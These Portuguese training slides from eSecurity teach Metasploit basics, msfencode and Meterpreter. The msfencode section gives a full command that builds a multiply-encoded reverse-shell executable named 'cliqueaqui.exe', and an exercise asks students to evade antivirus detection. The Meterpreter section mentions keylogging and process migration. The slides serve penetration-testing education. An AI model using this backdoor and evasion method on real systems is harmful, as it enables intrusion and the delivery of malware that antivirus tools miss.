eSecurity

Treinamentos em Segurança da Informação

O que temos pra hoje?

Temas de Hoje:

- **Metasploit**
  - Utilizando o comando Show
  - Utilizando o comando Search
  - Corrigindo erro de comunicação com DB
  - Utilizando o comando check
  - Utilizando o comando Info
  - Trabalhando com MSFEncode
    - Exercício: Efetuando Bypass de antivírus
  - Conhecendo o Meterpreter

Metasploit

Metasploit: Comando Show

O comando show irá apresentar os módulos contidos no Metasploit, para isso é necessário utilizar o console

Sintaxe:
Show

Exemplos de uso:
show exploits – Lista os exploits disponíveis
show auxiliary – Lista os módulos auxiliares
show options – Lista as opções de um determinado módulo
show targets – Seleciona versões do sistema operacional alvo
show payloads – Apresenta a lista de Payloads
show advanced – Apresenta as opções avançadas de um determinado módulo

Metasploit: Comando Search

O msfconsole inclui uma extensa expressão regular com a funcionalidade de pesquisa interna.
Se você tem uma idéia geral do que você está procurando, pode procurá-lo através do 'search'. Na apresentação abaixo, uma pesquisa está sendo feita para o boletim MS09-011.

A função de busca irá localizar essa sequência de referências dentro do módulo ou na descrição dele.

Sintaxe:
search

Modelo de uso:
search ms09-001

Metasploit: Corrigindo erro com DB

Muitas vezes é possível encontrar uma falha no metasploit ao não se comunicar diretamente com o banco de dados e assim fazer consultas através de arquivos.

Caso você encontre uma mensagem como esta, ao realizar o **search**, não se preocupe.
[!] Database not connected or cache not built, using slow search

Inicie os serviços antes de acessar o console
service postgresql start && service metasploit start

Verifique o status com o banco de dados dentro do console:
db_status

Limpe o cache do banco de dados
db_rebuild_cache

Configure os serviços para iniciarem automaticamente no boot:
update-rc.d postgresql enable && update-rc.d metasploit enable

Metasploit: Comando Check

Você pode verificar se um determinado alvo está vulnerável ao exploit que você selecionou, para isso é necessário trocar o comando exploit por check.

Exemplo de uso:

```
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.0.12
check
```

Metasploit: Comando Info

O comando "info" irá fornecer informações detalhadas sobre um módulo em particular, incluindo todas as opções, objetivos, e outras informações.

Exemplo de uso:

```
info  dos/windows/smb/ms09_001_write
```

Metasploit: MSFENCODE

O msfencode é uma ferramenta que codifica qualquer tipo de payload utilizando diversos tipos de algoritmo.

Sintaxe:
msfencode -l

Modelo de uso:
Listar os algoritmos
msfencode –l

Criar backdoor com encode específico
msfpayload windows/shell_reverse_tcp LHOST=192.168.2.102 R | msfencode –c 15 –e x86/shikata_ga_nai –a x86 –t raw | msfencode –c 3 –e x86/call4_dword_xor -t exe > cliqueaqui.exe

Foram utilizadas as opções R (Raw), -c (número de vezes), -e (Encode), -a (Arquitetura), -t (Target/Saída).

Metasploit: MSFENCODE

Modelo de uso:

Lista arquiteturas utilizadas

msfencode –a

Lista os métodos de saída de arquivo

msfencode –t

Os formatos são: bash, c, csharp, dw, dword, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript, asp, aspx, aspx-exe, dll, elf, exe, exe-only, exe-service, exe-small, loop-vbs, macho, msi, msi-nouac, psh, psh-net, psh-reflection, vba, vba-exe, vbs, war

Utilização do modo verbose

msfencode –v

Metasploit: Exercício

Crie um payload ao qual possua a menor possibilidade de ser detectado pelos antivírus do Virustotal.com

É importante que ele possua:

- Arquitetura x86
- 2 ou mais encoders
- Seja funcional (Sem danificar o Payload)

Metasploit: Meterpreter

O meterpreter é um payload que envia um pequeno executável para a vítima que será o responsável por se comunicar com a estação do atacante e pegar o resto das instruções a serem executadas.

Para isso, ele precisa de uma conexão ativa com a máquina do atacante (ou qualquer outra máquina que tenha o resto do payload para enviar à vítima) para completar o ataque.

Quando tudo estiver pronto, você entrará em um shell do Meterpreter (não da máquina vítima). Neste shell você pode fazer muitas coisas, desde migrar para outro processo do sistema até ativar um keylogger para ver tudo o que o usuário da máquina invadida digitou.

Além disso, através do Meterpreter você também pode ter um shell direto na máquina remota.

Metasploit: Meterpreter

Comandos:

?: Mostra a ajuda do Meterpreter explicando todos os comandos.

background: Envia a sessão atual para o background e você volta para o msfconsole para continuar trabalhando. Para se conectar novamente à esta sessão, você precisa executar o comando "sessions -l" no msfconsole e verificar o número da sessão à qual você quer se conectar. Depois, digite "sessions -i 1″ para se conectar à sessão novamente (lembre-se de substituir o "1″ pelo número da sessão com a qual você deseja interagir novamente).

bgkill: Mata algum processo que foi enviado para o background anteriormente. Você precisa usar o bglist para verificar o ID do processo que você deseja matar. Depois, você usa "bgkill <número do processo>" para finalizá-lo.

bglist: Lista os processos rodando em background. Você precisa rodar este comando para só depois conseguir matar um process pois você precisa pegar o ID.

bgrun: Executa um script do Meterpreter (aqueles que você normalmente executaria através do comando run, explicado mais à frente) diretamente no background.

channel: Mostra informações sobre os canais ativos.

close: Fecha um canal.

Metasploit: Meterpreter

disable_unicode_encoding/enable_unicode_encoding: Habilita ou desabilita o uso do Unicode.
exit: Fecha uma sessão do Meterpreter.
help: Mostra o menu de ajuda.
info: Mostra informações sobre um módulo do tipo “post” (os nomes de todos eles começam com “post”).
interact: Abre um shell com a vítima. Quando você fechar este shell, voltará para o prompt do Meterpreter.
irb: Abre uma sessão do irb, o interpretador de comandos do Ruby.
load: Carrega extensões do Meterpreter.
migrate: Migra o Meterpreter para um outro processo da máquina.
quit: Termina a sessão.
read: Lê dados de um canal.
resource: Executa todos os comandos que estão no arquivo que você passar como parâmetro para este comando.
run: Executa um script. Veremos este comando em detalhes mais adiante.
use: É um alias para o comando load, explicado anteriormente, que está caindo em desuso.

printf ("\Chega por hoje\n");

www.eSecurity.com.br

E-mail: alan.sanches@esecurity.com.br

Twitter: @esecuritybr e @desafiohacker

Skype: desafiohacker

Fanpage: www.facebook.com/academiahacker